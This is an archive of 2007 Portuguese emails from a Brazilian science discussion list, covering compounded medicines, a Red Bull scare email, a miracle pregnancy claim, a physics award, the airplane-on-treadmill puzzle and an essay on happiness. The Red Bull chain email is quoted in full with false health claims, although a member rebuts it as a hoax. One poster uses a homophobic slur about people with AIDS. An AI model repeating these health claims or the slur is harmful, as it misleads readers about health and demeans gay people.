[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Remédios manipulados
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/03/2007 23:12

Gil:

Os sais que compõem os medicamentos são baratos, comprados em quantidade. o que encarece são impostos, lucros, propagandas, lucro do laboratórtio, etc.
Agora é necessário um lab. idôneo, que já seja conhecido.

sds
silvio
----- Original Message -----
From: Gil
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 02, 2007 10:24 PM
Subject: Fwd: [ciencialist] Remédios manipulados


Sílvio:

Valeu pela explicação.
O caso é justamente esse mesmo, Grana. O produto de marca fica fora de mão,
e enquanto não pego na farmácia popular (que só tem em outra cidade), esse
manipulado parece ser uma boa opção, e agora, nao me sinto mais tão
inseguro. É dificil pegar opinião com o pessoal que costuma "achar" mais do
que constatar.

Gil

---------- Forwarded message ----------
From: Silvio Cordeiro <scordeiroes@superig.com.br>
Date: 02/03/2007 12:24
Subject: Re: [ciencialist] Remédios manipulados
To: ciencialist@yahoogrupos.com.br

Gil:

Sou cardíaco muito grave, tomo 21 comp. por dia sendo que 6 são manipulados.
A farmácia que os prepara tem todos os certificados de qualidade. A médica
que me assiste concorda por dois motivos: o primeiro, é que não posso
comprar os de marca e segundo, nunca teve problemas com esses manipulados.
Há muitos médicos que, por "segurança" forçam a compra dos originais: aí, o
cara não compra nem um nem outro....
É uma decisão quja prioridade é a disponibilidade de grana: se pode comprar,
compre os de marca. não podendo, mande aviar.
E agora tem a Farmácia Polular que vende remédios a baixo preço, mas só
alguns e os mais baratos.

Uma curiosidade demagógica de nossos políticos: nós que trabalhamos a vida
toda 35 anos de serviço pesado e ficamos doentes, a maioria cardíacos, não
temos nenhum apôio do Governo.
Entretanto a viadada com sua AIDS tem tudo de graça, na hora, remédios
caríssimos, importados: nota-se que o governo, os políticos estabelecem
critérios em causa própria.....

sds.,

silvio
----- Original Message -----
From: Gil
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 02, 2007 9:24 AM
Subject: [ciencialist] Remédios manipulados

Eu preciso comprar um remédio, e como o preço não é nada "doce", pensei em
compra-lo manipulado. Mas uma pessoa me disse que os remédios manipulados
"não são bons". Isso tem algum fundamento? Ou seria apenas efeito
"nocebo"?

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SUBJECT: Re: [ciencialist] Red Bull - Você também precisa saber
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/03/2007 23:25

Ivan, na lata do Red Bull energy drink está escrito o que em geral não se dá
importância: antes de consumir o produto, crianças, gestantes, nutrizes,
idosos e portadores de enfermidades devem obter autorização médica. E o
alerta breve de: " Não é recomendado o consumo *com* bebida alcoólica."
O que mais me levou me interessar e divulgar a mensagem foi a constatação de
que das oito pessoas conhecidas que usam diariamente "não sabiam" dessas
recomendações. Algumas ingerem o produto quando chegam da noitada com todas
já na cabeça.
[]s
JR
.................................
From: "Ivan Carlos" <icarlos@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 26, 2007 10:17 PM
Subject: [Spam] Re: [ciencialist] Red Bull - Você também precisa saber


>A "glicoronolactona" (tradução de glucuronolactone - gamalactona do ácido
> glicurônico) é "criada" pelo fígado a partir da glicose, o q tem de mal
> nisso? Todo açúcar é "estimulante", considerando que estamos tratando de
> energia pura. Não comam chocolate, crianças!
>
> A cianocobalamina (b12) é essencial ao ser humano, vou passar a recomendar
> Red Bull para vegetarianos, teve pelo menos 2 casos de mortes de crianças
> de
> pais vegetarianos por não suprimir a necessidade de seus filhos em relação
> a
> B12 e outros nutrientes comumente encontrados em alimentos de origem
> animal.
> * e definitivamente b12 não tem absolutamente nada a ver com "estados de
> excitação", atribuiria esta causa a cafeína.
>
> ** substâncias q diluem o sangue?? opa, se quebrar moléculas de gordura
> temos a solução para quem tem colesterol alto!
> ** em que ponto "O consumo regular de Red Bull provoca uma série de
> doenças
> nervosas e neuronais irreversíveis."??
>
> na mensagem:
> "POR SE TRATAR DE UM TEMA DE SAÚDE PÚBLICA, POR FAVOR, REPASSEM ESTE
> E-MAIL
> A TODOS OS AMIGOS, PARTICULARMENTE AOS QUE TÊM JOVENS NA FAMÍLIA."
>
> leia-se:
> HOAX!!!!
>
> (agora volto ao limbo, não posto mais que 2 mensagens por ano nesta
> lista..
> =)
>
> []'s
>
> Ivan "Doomer" Carlos - CIO / Social Eng. Specialist
> E-mail / Skype / WLM: icarlos@icarlos.net
> Cell.: +55 (11) 8112-0666
>
>
>
> ----- Original Message -----
> From: "José Renato" <jrma@terra.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, February 26, 2007 9:49 PM
> Subject: [ciencialist] Red Bull - Você também precisa saber
>
>
> RED BULL: VOCÊ TAMBÉM PRECISA SABER !
>
> POR SE TRATAR DE UM TEMA DE SAÚDE PÚBLICA, POR FAVOR, REPASSEM ESTE E-MAIL
> A
> TODOS OS AMIGOS, PARTICULARMENTE AOS QUE TÊM JOVENS NA FAMÍLIA.
>
> ESTA BEBIDA ESTÁ À VENDA EM SUPERMERCADOS E NOSSOS JOVENS PODEM CONSUMI-LA
> SEM MAIORES CUIDADOS. E ISSO PODE SER MORTAL!
>
> RED BULL foi criada para estimular o cérebro de pessoas submetidas a um
> grande esforço físico e em "coma de stress" e não para ser consumida
> habitualmente como uma bebida estimulante inocente e refrescante.
>
> RED BULL é uma BEBIDA ENERGIZANTE, comercializada no mundo com o slogan:
> "Aumenta a resistência física, a capacidade de concentração e a velocidade
> de reação, dá mais energia, agilidade e melhora o estado de ânimo".
>
>
>
> Tudo isso pode ser encontrado numa latinha de RED BULL, "a bebida
> energética
> do milênio!" No Brasil ela é oferecida de forma curiosa com o refrão: "Red
> Bull, lhe dá asas!" Sendo que "asas" é pronunciada com uma entonação
> maliciosa, dando a dica subliminar de que a bebida também dá "o maior
> barato".
>
> A RED BULL conseguiu chegar a quase 130 países, com um faturamento anual
> acima de 21 bilhões de euros na venda de cerca de 3 bilhões de latas. A
> energia estimulante e os esportes foram eleitos pela marca como as
> principais características coladas à sua imagem. Dois segmentos atrativos
> para os jovens, cativados pelo estímulo que a bebida provoca.
>
>
>
> Foi criada por Dietrich Mateschitz*, um empresário de origem austríaca,
> que
> a descobriu por acaso, durante uma viagem de negócios a Hong Kong , quando
> trabalhava para uma empresa fabricante de escovas de dente.
>
> Uma lata de 250 ml, contém 20 gramas de açúcar(no rótulo da lata SUGARFREE
> está escrito "não contém açúcar), 1000 mg de taurina, 600 mg de
> glucuronolactona, 80 mg de cafeína, 50 mg de inositol e vitaminas do
> complexo B (B2, B3, B5, B6 e B12).
>
> É uma bebida fabricada na Áustria, importada por: Red Bull do Brasil Ltda.
>
>
> MAS AS INFORMAÇÕES SOBRE ESTA BEBIDA, VÃO ALÉM DISSO
>
>
> A FRANÇA e a DINAMARCA acabam de proibi-la por ser um cocktail da morte ,
> devido aos seus componentes de vitaminas misturadas com
> "GLUCURONOLACTONE",
> produto químico desenvolvido e utilizado pelo Deptº. de Defesa dos USA,
> durante os anos 60, para estimular o moral das tropas norte-americanas no
> VIETNÃ. Seus efeitos eram próximos ao de uma droga alucinógena, reduzia o
> stress da guerra. Entretanto, no organismo dos soldados, foram
> significativos os aumentos dos índices de enxaquecas, tumores cerebrais e
> doenças do fígado.
>
> Na lata de RED BULL lê-se, entre os seus componentes, a presença de 80 mg
> de
> GLUCURONOLACTONE, medicamento catalogado como estimulante.
>
> O que a lata de RED BULL não informa são as conseqüências do seu consumo
> freqüente, que exigiria do fabricante colocar uma série de ADVERTÊNCIAS,
> tais como:
>
> 1. É perigoso tomá-lo se, em seguida, não se fizer exercício físico, já
> que
> a sua função energizante acelera o ritmo cardíaco e pode provocar um
> enfarte
> fulminante.
>
>
> 2. O risco de se sofrer uma hemorragia cerebral, porque o RED BULL contém
> substâncias que diluem o sangue, para que seja mais fácil ao coração
> bombear
> o sangue e assim se poder fazer esforço físico com menos esgotamento.
>
> 3. É proibido misturar RED BULL com álcool (esta advertência sucinta
> consta
> no rótulo do produto). A mistura com álcool transforma a bebida numa
> "bomba"
> que ataca diretamente o fígado e torna a zona afetada incapaz de se
> regenerar.
>
> 4. Um dos componentes principais do RED BULL é a vitamina B12, utilizada
> em
> medicina para recuperar pacientes que se encontram em coma alcoólica. Daí
> o
> estado de excitação em que se fica após tomá-lo. É como se tivéssemos de
> sair de um estado de embriaguez cada vez que se bebe uma lada de Red Bull.
>
> 5. O consumo regular de Red Bull provoca uma série de doenças nervosas e
> neuronais
> irreversíveis.
>
>
> CONCLUSÃO
>
>
> A venda de RED BULL deveria ser acompanhada dessas advertências em letras
> visíveis. Alguns países acharam melhor proibir a venda pois se
> desavisadamente ou intencionalmente for misturada com álcool torna-se uma
> bomba-relógio para o consumidor, principalmente entre os adolescentes ou
> mesmo adultos que desconheçam todos os efeitos da bebida.
>
>
>
> .........................................
>
>
>
> * Dietrich Mateschitz, é um dos mais ricos empresários do mundo, segundo a
> revista "FORTUNE". Sua trajetória escolar foi atribulada, concluiu o curso
> de Administração de Empresas em 10 anos, mais do dobro do tempo normal.
> Está
> sempre na companhia de belas mulheres e estrelas do cinema, sua pele
> eternamente bronzeada, não importa a época do ano, lhe garantem a fama de
> "bon vivant". E isso tudo, graças ao único produto no portfólio de sua
> empresa: a bebida RED BULL.
>
> Ele nada vai fazer para alertar os usuários, se não for obrigado a isso.
>
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SUBJECT: Re: [ciencialist] Útero bicorno
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/03/2007 00:18

Olá, Álvaro! Como vimos no link fornecido por Takata, a maioria das mulheres
com útero bicorno geram filhos até o nascimento. O que não se pode deixar de
considerar é a condição que a *confiança* em alguma coisa promove no
organismo das pessoa. Uma das maiores causas de esterilidade e abortos é o
estresse, a ansiedade e as preocupações. Uma pessoa confiante é tranqüila,
tem o sistema nervoso apto a dar as respostas bem naturais, sistema
imunológico funcionando normalmente, etc. e etc. É claro que uma pessoa
assim tem mais chances de engravidar do que uma angustiada. Um dos exemplos
mais consistentes é o caso muito comum da mulher que faz tratamento para
engravidar durante dois, três, cinco anos sem conseguir segurar uma gravidez
até o fim. Ela desiste e em acordo com o parceiro partem para a adoção. Oito
meses após a adoção ela engravida mesmo sem manter qualquer dos tratamentos
feitos anteriormente... A questão é saber o que ou quem consegue dar essa
confiança à uma pessoa.

Poucos percebem a importante lição que uma historinha infantil contém: a do
patinho que não sabia nadar. Toda vez que entrava nágua se debatia e ia ao
fundo. Chamado o doutor pato especialista nessa área, ele conversa com o
patinho e lhe dá uma varinha mágica que o fará boiar... Confiante o pequeno
entra nágua com as penas oleosas arrumadas, bóia e nada como nunca fez
antes. Feliz, se esmera em velocidade e manobras para que todos vejam como
ele é bom. Numa dessas a varinha mágica cai de seu bico - ou de debaixo das
asinhas, segundo alguns autores - e, amedrontado, começa a se debater. Mas
num repente percebe que ele já possui todas as condições para boiar, nadar e
fazer melhor as piruetas sem a varinha mágica...
Continua a questão: onde podemos obter essa confiança? A turma do pensamento
positivo dá uma receita, os céticos outra, os psicólogos e psicanalistas têm
cada um a sua, e assim vamos... Voltaire já ironizava que médico é o senhor
que mantém o paciente distraído enquanto o corpo se recupera e se cura.

[]s

José Renato
......................................................

From: "Alvaro Augusto (L)" <alvaro@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 26, 2007 10:50 AM
Subject: [ciencialist] Útero bicorno


> Estou lendo sobre os supostos milagres atribuidos a Frei Galvão. Em um
> deles, uma mulher portadora de útero bicorno, já tendo abortado três
> vezes,
> recorreu a orações e às "pílulas de frei Galvão", conseguindo chegar ao
> fim
> da gestação. Qual a chance de uma mulher com útero bicorno conseguir
> chegar
> ao fim da gestação? A literatura médica registra muitos desses casos?
> Seria
> interessante conhecer o caso de uma mulher ateísta ou agnóstica que tenha
> produzido prole saudável, mesmo tendo útero bicorno.
>
> [ ]s
>
> Alvaro Augusto



SUBJECT: cientista brasileiro é premiado
FROM: "Ricardo Soares Vieira" <rickrsv@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/03/2007 21:43

Físico brasileiro recebe Prêmio Elsevier pelo conjunto da obra

Constantino Tsallis é homenageado por editora líder de mercado na área
científica

Entre equações e análises sofisticadas, o físico brasileiro
Constantino Tsallis descobriu sua vocação. E mais do que isso, ganhou
prestígio e respeito entre pesquisadores ao conceber a mecânica
estatística não extensiva, a "estatística de Tsallis" como é
conhecida no mundo científico. "Esta forma de entropia representa uma
generalização da expressão matemática formulada no século 19 por
Boltzmann e Gibbs. É uma nova maneira de abordar sistemas complexos na
mecânica estatística", explica. A grandiosidade de seus estudos é
legítima e no dia 2 de março receberá o "Prêmio Elsevier" pelo
conjunto da obra, em cerimônia a ser realizada, às 16h, no auditório
do Centro Brasileiro de Pesquisas Físicas, Instituto do Ministério de
Ciência e Tecnologia.

Parte da importância de sua contribuição é a aplicabilidade de sua
pesquisa ao cotidiano. Hoje, é possível identificar melhor quando um
aeroporto deve ou não ser fechado em decorrência de uma tempestade; as
autoridades podem avaliar riscos com mais precisão, utilizando sua
teoria. Mas a sua utilização não se limita ao campo físico. Faz
sucesso também na biologia, na economia e até na lingüística, feito
que garantiu a Tsallis um reconhecimento, inédito no Brasil, da
Sociedade Européia de Física. "Através dela é possível detectar câncer
de mama, doença de Alzheimer e patologias cardíacas. São resultados
úteis para a humanidade. É a ciência aplicada ao cotidiano", avalia.

Em 2004, o físico previu a existência, em sistemas não extensivos, de
um conjunto de índices chamado q-triplete. Para sua alegria, a NASA
encontrou estes três valores no vento solar e validou sua pesquisa, o
que abre novos caminhos para o estudo destes sistemas complexos.
"Fiquei feliz de ter a minha conjectura comprovada na natureza. O
q-triplete é uma das provas", pontua. Este resultado faz parte da
exposição das Nações Unidas para 2007 - Ano Heliofísico Internacional,
que esta sendo inaugurado em Viena.

Tsallis coleciona homenagens acumuladas ao longo de sua vida como
pesquisador. O Prêmio México de Ciência e Tecnologia, o Prêmio Cidade
do Rio de Janeiro de Ciência e Tecnologia e o Distinguished Scientist
of the Greek Diaspora (em português, algo como Cientista Destacado da
Diáspora Grega) são alguns exemplos.

Fica fácil entender o que faz do físico Constantino Tsallis um
orientador muito procurado por mestrandos e doutorandos. "São
brasileiros, argentinos, chilenos, peruanos, italianos, portugueses,
gregos, turcos. A mecânica estatística não extensiva conta hoje com
mais de 2 mil publicações feitas por 1.500 cientistas de 60 países",
comenta o cientista, que já proferiu mais de 700 palestras ao redor do
mundo.

Nascido na Grécia em 1943, aos quatro anos Tsallis emigrou com a
família para o Brasil. Depois, mudou-se para a Argentina, passou pela
França, onde fez o doutorado, e retornou ao Brasil em 1975. Foi em
1984 que se naturalizou brasileiro e é hoje uma das maiores
autoridades em Ciência do mundo.

fonte: SBFísica




SUBJECT: Re: [ciencialist] Remédios manipulados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/03/2007 22:05

Caro Silvio, a distribuição grátis sob controle, por parte do governo
federal, é feita prioritariamente para atender os enfermos de moléstias
contagiosas, como a AIDS, tuberculose, sarampo, gripe, difteria, raiva, etc.
Se assim não fosse estaríamos muito mais expostos a essas doenças
controláveis. Atualmente, o maior avanço da AIDS está em mulheres
heterossexuais contaminadas pelos próprios parceiros.
[]s
JR
.......................................

From: "Silvio Cordeiro" <scordeiroes@To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, March 02, 2007 12:24 PM
Subject: Re: [ciencialist] Remédios manipulados


Gil:

Sou cardíaco muito grave, tomo 21 comp. por dia sendo que 6 são manipulados.
A farmácia que os prepara tem todos os certificados de qualidade. A médica
que me assiste concorda por dois motivos: o primeiro, é que não posso
comprar os de marca e segundo, nunca teve problemas com esses manipulados.
Há muitos médicos que, por "segurança" forçam a compra dos originais: aí, o
cara não compra nem um nem outro....
É uma decisão quja prioridade é a disponibilidade de grana: se pode comprar,
compre os de marca. não podendo, mande aviar.
E agora tem a Farmácia Polular que vende remédios a baixo preço, mas só
alguns e os mais baratos.

Uma curiosidade demagógica de nossos políticos: nós que trabalhamos a vida
toda 35 anos de serviço pesado e ficamos doentes, a maioria cardíacos, não
temos nenhum apôio do Governo.
Entretanto a viadada com sua AIDS tem tudo de graça, na hora, remédios
caríssimos, importados: nota-se que o governo, os políticos estabelecem
critérios em causa própria.....

sds.,

silvio
----- Original Message -----
From: Gil
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 02, 2007 9:24 AM
Subject: [ciencialist] Remédios manipulados


Eu preciso comprar um remédio, e como o preço não é nada "doce", pensei em
compra-lo manipulado. Mas uma pessoa me disse que os remédios manipulados
"não são bons". Isso tem algum fundamento? Ou seria apenas efeito
"nocebo"?

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SUBJECT: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/03/2007 00:10

Ricardo:
[ José, imagino que vc tenha se enganado, neste caso. A turbina ou hélices,
ao
empurrar o ar para trás, empurra o avião para frente, independente deste
ter
ou não asas. O avião se move para frente ao ligar a turbina, não para
cima. ]
..........................
Pois é, Ricardo, e a esteira leva o avião para trás na mesma velocidade!
Isso significa que o mesmo está praticamente parado em relação ao solo e ao
ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas hélices
ou turbinas. Difícil, não?
[]s
JR
..........................

From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, February 27, 2007 11:25 PM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira


> From: "José Renato" <jrma@terra.com.br>
>> Homero:
>> [ Se ligar as hélices, ele se move, independente de uma esteira ou das
>> rodas. ]
>> .............................................
>> Sim, se as hélices tiverem a condição de criar um fluxo de ar nas asas
>> capaz
>> de sustentá-lo. Na proposta original parece-me que o avião possui
>> turbinas.
>> Nesse caso não há fluxo de ar nas asas, só nas turbinas.
>
> José, imagino que vc tenha se enganado, neste caso. A turbina ou hélices,
> ao
> empurrar o ar para trás, empurra o avião para frente, independente deste
> ter
> ou não asas. O avião se move para frente ao ligar a turbina, não para
> cima.
>
> Um abraço,
>
> Ricardo
>
>
>
>
> ##### ##### #####
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> Página de apoio
> http://www.ciencialist.com
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> Links do Yahoo! Grupos
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> Para alterar a categoria classificada, visite
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> 5.1.00/4972
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>
>
> --
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.446 / Virus Database: 268.18.4/705 - Release Date: 27/2/2007
> 15:24
>
>



SUBJECT: Re: [ciencialist] cientista brasileiro é premiado
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/03/2007 09:34

Olá, todos,

Já lí e ouví falar das proezas científicas desse grande cientista brasileiro. . Segundo a biografia, parece mesmo ser um peso pesado da física teórica. Mas nada conheço de sua obra, nada lí do que publicou, sequer análises de outros pesquisadores, a respeito. Estou, assim, bastante defasado, bem atrás do trem. Também ninguém é perfeito. Se encontrar algum livro dele em, português, comprarei.
É inegavelmente uma pessoa que tem uma mente privilegiada, algumas centenas de degraus acima da média. Mas, sua profícua criação científica teria a ver com sua formação no exterior? Será que seria a mesma coisa, se houvesse concluído seus mestrado e doutorado aquí no Brasil? Não tenho opinião formada; quero mesmo saber.
A seguir, mais um link que amplia as informações postas por Ricardo.

http://www.abc.org.br/org/aca.asp?codigo=tsallis

Sds,
Victor.

----- Original Message -----
From: Ricardo Soares Vieira
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 03, 2007 9:43 PM
Subject: [ciencialist] cientista brasileiro é premiado


Físico brasileiro recebe Prêmio Elsevier pelo conjunto da obra

Constantino Tsallis é homenageado por editora líder de mercado na área
científica

Entre equações e análises sofisticadas, o físico brasileiro
Constantino Tsallis descobriu sua vocação. E mais do que isso, ganhou
prestígio e respeito entre pesquisadores ao conceber a mecânica
estatística não extensiva, a "estatística de Tsallis" como é
conhecida no mundo científico. "Esta forma de entropia representa uma
generalização da expressão matemática formulada no século 19 por
Boltzmann e Gibbs. É uma nova maneira de abordar sistemas complexos na
mecânica estatística", explica. A grandiosidade de seus estudos é
legítima e no dia 2 de março receberá o "Prêmio Elsevier" pelo
conjunto da obra, em cerimônia a ser realizada, às 16h, no auditório
do Centro Brasileiro de Pesquisas Físicas, Instituto do Ministério de
Ciência e Tecnologia.

Parte da importância de sua contribuição é a aplicabilidade de sua
pesquisa ao cotidiano. Hoje, é possível identificar melhor quando um
aeroporto deve ou não ser fechado em decorrência de uma tempestade; as
autoridades podem avaliar riscos com mais precisão, utilizando sua
teoria. Mas a sua utilização não se limita ao campo físico. Faz
sucesso também na biologia, na economia e até na lingüística, feito
que garantiu a Tsallis um reconhecimento, inédito no Brasil, da
Sociedade Européia de Física. "Através dela é possível detectar câncer
de mama, doença de Alzheimer e patologias cardíacas. São resultados
úteis para a humanidade. É a ciência aplicada ao cotidiano", avalia.

Em 2004, o físico previu a existência, em sistemas não extensivos, de
um conjunto de índices chamado q-triplete. Para sua alegria, a NASA
encontrou estes três valores no vento solar e validou sua pesquisa, o
que abre novos caminhos para o estudo destes sistemas complexos.
"Fiquei feliz de ter a minha conjectura comprovada na natureza. O
q-triplete é uma das provas", pontua. Este resultado faz parte da
exposição das Nações Unidas para 2007 - Ano Heliofísico Internacional,
que esta sendo inaugurado em Viena.

Tsallis coleciona homenagens acumuladas ao longo de sua vida como
pesquisador. O Prêmio México de Ciência e Tecnologia, o Prêmio Cidade
do Rio de Janeiro de Ciência e Tecnologia e o Distinguished Scientist
of the Greek Diaspora (em português, algo como Cientista Destacado da
Diáspora Grega) são alguns exemplos.

Fica fácil entender o que faz do físico Constantino Tsallis um
orientador muito procurado por mestrandos e doutorandos. "São
brasileiros, argentinos, chilenos, peruanos, italianos, portugueses,
gregos, turcos. A mecânica estatística não extensiva conta hoje com
mais de 2 mil publicações feitas por 1.500 cientistas de 60 países",
comenta o cientista, que já proferiu mais de 700 palestras ao redor do
mundo.

Nascido na Grécia em 1943, aos quatro anos Tsallis emigrou com a
família para o Brasil. Depois, mudou-se para a Argentina, passou pela
França, onde fez o doutorado, e retornou ao Brasil em 1975. Foi em
1984 que se naturalizou brasileiro e é hoje uma das maiores
autoridades em Ciência do mundo.

fonte: SBFísica





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: A ciência da felicidade - José Renato
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/03/2007 11:20

A ci�ncia da felicidade



O que � preciso para as pessoas viverem a felicidade?



No grupo, um amigo - afeito a quest�es complicadas, que passam despercebidas ou preferimos esquecer - prop�s que seja inclu�da no curr�culo educacional uma disciplina que ensine a ci�ncia da felicidade.

Existir� um conhecimento espec�fico para ser feliz? Como obter e manter a felicidade?

De algum modo sua proposta nos fez calar e, o melhor, pensar.



Creio que a ci�ncia da felicidade vem sendo pesquisada e desenvolvida h� muito tempo, mas, como requer um m�nimo de vis�o, sabedoria e lucidez, continuamos como os nossos �primos� macacos a querer obter a felicidade sem abrir a m�o. E, assim, ficamos prisioneiros, com a m�o enfiada na cumbuca da exist�ncia donde tentamos tirar a pr�pria felicidade a qualquer custo.



O desafio de definir conhecimentos e regras para viver feliz lembra, de certo modo, o enigma da Esfinge: decifra-me ou... permanecer�s infeliz! Poderemos todos ser instru�dos na sabedoria edipiana rumo �s Tebas modernas?

Ser� importante, inicialmente, definir quando estamos felizes, ou melhor, quando nos percebemos e nos consideramos felizes e, finalmente, tentar definir o que � essa tal felicidade, geralmente s� percebida depois que n�o a temos mais, resumida na frase "�ramos felizes e n�o sab�amos".



Talvez a forma de alcan�ar a felicidade seja um obst�culo, visto ser ela "perseguida" pelo vivente. Qualquer um, ao ser perseguido, sente-se acuado e foge. Geralmente, queremos ret�-la para sempre em n�s, em vez de simplesmente desfrut�-la. � como tentar pegar no ar bolhas coloridas de sab�o ou aprisionar o canto dos p�ssaros em uma gaiola. A felicidade, nesses casos, n�o se realiza. Ficamos frustrados sem saber porque.



N�o � dif�cil perceber que todos somos ego�stas por natureza. O que muda, �s vezes, s�o as atitudes provocadas por esse ego�smo. Os mais fortes podem demonstra-lo e agir abertamente. Os mais fracos o fazem em surdina, disfar�adamente. E os mais vividos percebem que o ego�smo, como toda atitude, requer equil�brio e limites. E buscam uma nova forma de conviv�ncia menos conflituosa.



Outros valores tamb�m s�o importantes nessa busca e requerem prepara��o. Eles s�o estruturados no seio da fam�lia onde o infante desenvolve suas primeiras refer�ncias. � o fundamento. O resto �, em grande parte, conseq��ncia desse primeiro aprendizado. Em uma pesquisa da Unicef os jovens elegeram a fam�lia o ponto de apoio fundamental na educa��o e na forma��o dos seus valores pessoais e sociais.(Vide reportagem no final)



Em contrapartida, a felicidade � vendida na m�dia com muito interesse. Felicidade � o orgasmo transmitido sob gritos, gemidos e m�o crispadas nos len��is na telinha do faz-de-conta... � sair do shopping carregando "trocentas" sacolas de grifes famosas. N�o � s� usar uma roupa bonita e elegante em que voc� se sente confort�vel! Ela se realiza no ato de comprar, mostrar aos outros o seu poder de compra e n�o no usufruto do que voc� adquiriu. Felicidade � tirar vantagem em tudo, certo? � parecer que �... em vez de ser. Acredito que a felicidade, hoje, � mais aquela que os marqueteiros dizem que �, durante todas as 25 horas do dia.



Na pr�tica, vejo nas pessoas que parecem viver a felicidade uma agrad�vel mistura de paz, confian�a, tranq�ilidade, disposi��o, integridade, percep��o e aten��o � realidade... E, todas elas, parecem dispor de todo o tempo do mundo! O que ser� que elas fazem para alcan�ar aquilo que imaginamos que s� bastante dinheiro pode nos dar?



As crian�as, quando se sentem em ambiente seguro, transmitem essas "qualidades" ao serem simplesmente felizes. Suas preocupa��o e realiza��es s�o imediatas, logo desfrutadas. Um pouco diferente da elaborada felicidade, programada por n�s hoje menos crian�as. Serei feliz quando: me formar, me empregar, comprar um apartamento, um carro, ter aumento de sal�rio, casar, separar, ter um filho, os filhos crescerem..., tornarem-se independentes, aposentar, ganhar a megasena (sozinho, claro), etc. e etc.



Cada um apresentar� seus sinais e valores do que seja ser feliz. Muitas coincid�ncias ocorrer�o. Uma, que me parece estar� em todas elas j� foi dita por Tom, mas de forma t�o banal, que �s vezes � confundida com filosofia barata: "� imposs�vel ser feliz sozinho" (Wave - Tom Jobim). "Fundamental � mesmo o Amor..."

E o que � isso que denominamos de amor?



Jos� Renato M. de Almeida
Salvador - Bahia

____________________________



A TARDE 01/12/2002 - Domingo - Local
http://www.atarde.com.br/materia.php3?mes=12&ano=2002&id_subcanal=17&id_materia=37
Comportamento
Fam�lia garante bem-estar, dizem jovens

Cleidiana Ramnos

Qual � o perfil do adolescente brasileiro? Para responder a esta pergunta, o Fundo das Na��es Unidas para a Inf�ncia (Unicef) foi buscar informa��es na fonte. Intitulada �A Voz dos Adolescentes�, a nova pesquisa publicada pela institui��o � a primeira realizada em todo o Brasil a ouvir opini�es de adolescentes de todas as regi�es geogr�ficas do Pa�s, dos diferentes n�veis de renda, escolaridade, das diversas ra�as e cultura. Al�m disso, o trabalho revelou surpresas, derrubando mitos. Quando se imagina que esta � a fase da vida em que mais h� conflito com a fam�lia, pode-se perceber que, apesar disto, ela � a institui��o mais importante para os meninos. Ela foi apontada por 85% dos adolescentes brasileiros como a respons�vel pela garantia dos seus direitos e bem-estar, sendo seguida pela escola que alcan�ou o �ndice de 40%.

�Este tipo de trabalho � importante para pensar projetos e a��es para este p�blico. Os dados s�o representativos do que os meninos sentem e pensam dos pais, da escola e sobre assuntos como drogas e a sua sexualidade�, salientou a oficial de comunica��o do Unicef na Bahia e Sergipe, Patr�cia Portela.

A utilidade da pesquisa do Unicef est� exatamente em ter mergulhado no pr�prio universo adolescente e n�o em dados dos chamados �rg�os oficiais. A compara��o com os n�meros dessas fontes vai poder ser feita no pr�ximo m�s, quando o Unicef vai divulgar, por meio de teleconfer�ncia, o trabalho �A Situa��o do Adolescente Brasileiro�, a partir de indicadores, como IBGE, Ipea, Inesc e minist�rios.

�Ser� o relato do Brasil sobre os seus meninos�, destacou Patr�cia Portela. A pesquisa ouviu 5.280 adolescentes entre 12 e 17 anos, numa amostragem que reflete a opini�o dos mais de 21 milh�es de brasileiros que est�o nesta faixa et�ria. Na Bahia, al�m de Salvador, foram ouvidos meninos de Lauro de Freitas, Sim�es Filho, Alagoinhas, S�o Gon�alo dos Campos e Vit�ria da Conquista.

Os dados s�o importantes para o Unicef, pois um dos seus programas � o �Cidadania dos Adolescentes�, que contempla a faixa et�ria de 12 a 18 anos, al�m do �Sistema de Garantias e Prote��o� e �Monitoramento e Comunica��o pelos Direitos�, destinado a jovens de todas as faixas et�rias. A pesquisa sediada em Bras�lia contou com uma equipe formada por soci�logos, estat�sticos, cientistas pol�ticos e jornalistas ligados a trabalhos que tratam da quest�o da inf�ncia e da adolesc�ncia.

Dificuldades

Os dados gerais da pesquisa confirmam o que j� � senso comum no sentido de que o Brasil descuida da educa��o e sa�de dos seus jovens. Embora 94% estejam matriculados em algum estabelecimento de ensino, quando o assunto � qualidade do espa�o f�sico onde estudam, 61% a definem como negativa. Apesar de 70,2% dos adolescentes considerarem os conte�dos difundidos pela escola importantes para a sua vida e crescimento profissional, apenas 39,7% dizem que as aulas ajudam a compreender melhor a sociedade em que vivem.

�Se avan�amos em rela��o � matr�cula escolar, agora � hora de melhorar a qualidade de ensino. A escola tem que seduzir seus alunos�, disse Patr�cia Portela. Em rela��o � sa�de, apesar de 79% dos adolescentes terem postos de sa�de nas proximidades de suas casas, eles n�o s�o fontes procuradas, por exemplo, para informa��es sobre sexualidade, o que engloba tamb�m o conhecimento sobre as doen�as sexualmente transmiss�veis (DSTs).

